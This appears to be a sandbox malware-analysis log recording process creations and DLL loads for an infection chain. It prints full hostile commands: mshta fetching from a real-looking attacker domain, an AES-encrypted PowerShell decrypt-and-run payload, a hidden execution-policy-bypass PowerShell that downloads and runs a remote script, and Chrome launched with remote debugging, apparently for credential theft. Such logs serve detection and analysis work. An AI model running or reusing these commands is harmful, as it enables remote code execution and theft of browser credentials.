Source: chrome.exe, 00000008.00000002.7124405929.0000584C00868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: chrome.exe, 00000008.00000002.7121356447.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067266668.0000584C00228000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT IFNULL(SUM(metrics.metric_value), 0) FROM metrics WHERE metrics.metric_hash = '79964621D357AB88';
Source: chrome.exe, 00000008.00000002.7130933810.0000584C01204000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT IFNULL(SUM(metrics.metric_value), 0) FROM metrics WHERE metrics.metric_hash = '534661B278B11BD';

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /C ""C:\Windows\system32\mshta.exe" https://pawpaws.readit-carfanatics.com/madonna.mp4"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\system32\mshta.exe" https://pawpaws.readit-carfanatics.com/madonna.mp4
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B63195F3779B0F8E07AE51936D7659CF47354C6662908568295088267D164DBF8CD609767B8170DEFEE21B10CE5C7244C519247C7C2F9CE8D7FA4027320E443B37F498F4BCDE2E63A97AC0167DCBD9DF73193FA93B3A82859FC1C7C6A740DD7140682426D7269E3DDEB5AB9467EC828C2C24E5D9149A12D98DFF32D05203D7536888907C29CA12DFCFB29B179E5F80DF3C545318D33794FAE90BEC7C573D81530A72C3E1664C1FCD78FFE0CC509A78F2E435BEE0A9EE5E4C0F5F6825B6883A784655B387AC0A63D3779D94D06E0C3BFC63D493D83B351266304E3C6A7FE938DB9F5FFD576369C82CA0050C55C2E8E82286D9AC048EE0F6E20CF515B8D1A1268959B2D3E695204352487CF3533397B42917060A182262AA9F2EA0B93E6742C4A2C669E95CD728');$MIDMd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((qtyVd('794A5742476F737A6A656E545246734B')),[byte[]]::new(16)).TransformFinalBlock($ZKIHj,0,$ZKIHj.Length)); & $MIDMd.Substring(0,3) $MIDMd.Substring(129)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'\|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()\|Get-Member)\|Where-Object{(Get-Variable _ -Value).Name -ilike 'wnd*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}}
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2700,i,6766550115079121299,15860530611730691376,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2692 /prefetch:3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\system32\mshta.exe" https://pawpaws.readit-carfanatics.com/madonna.mp4	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B63195F3779B0F8E07AE51936D7659CF47354C6662908568295088267D164DBF8CD609767B8170DEFEE21B10CE5C7244C519247C7C2F9CE8D7FA4027320E443B37F498F4BCDE2E63A97AC0167DCBD9DF73193FA93B3A82859FC1C7C6A740DD7140682426D7269E3DDEB5AB9467EC828C2C24E5D9149A12D98DFF32D05203D7536888907C29CA12DFCFB29B179E5F80DF3C545318D33794FAE90BEC7C573D81530A72C3E1664C1FCD78FFE0CC509A78F2E435BEE0A9EE5E4C0F5F6825B6883A784655B387AC0A63D3779D94D06E0C3BFC63D493D83B351266304E3C6A7FE938DB9F5FFD576369C82CA0050C55C2E8E82286D9AC048EE0F6E20CF515B8D1A1268959B2D3E695204352487CF3533397B42917060A182262AA9F2EA0B93E6742C4A2C669E95CD728');$MIDMd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((qtyVd('794A5742476F737A6A656E545246734B')),[byte[]]::new(16)).TransformFinalBlock($ZKIHj,0,$ZKIHj.Length)); & $MIDMd.Substring(0,3) $MIDMd.Substring(129)	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'\|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()\|Get-Member)\|Where-Object{(Get-Variable _ -Value).Name -ilike 'wnd*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}}	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2700,i,6766550115079121299,15860530611730691376,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2692 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
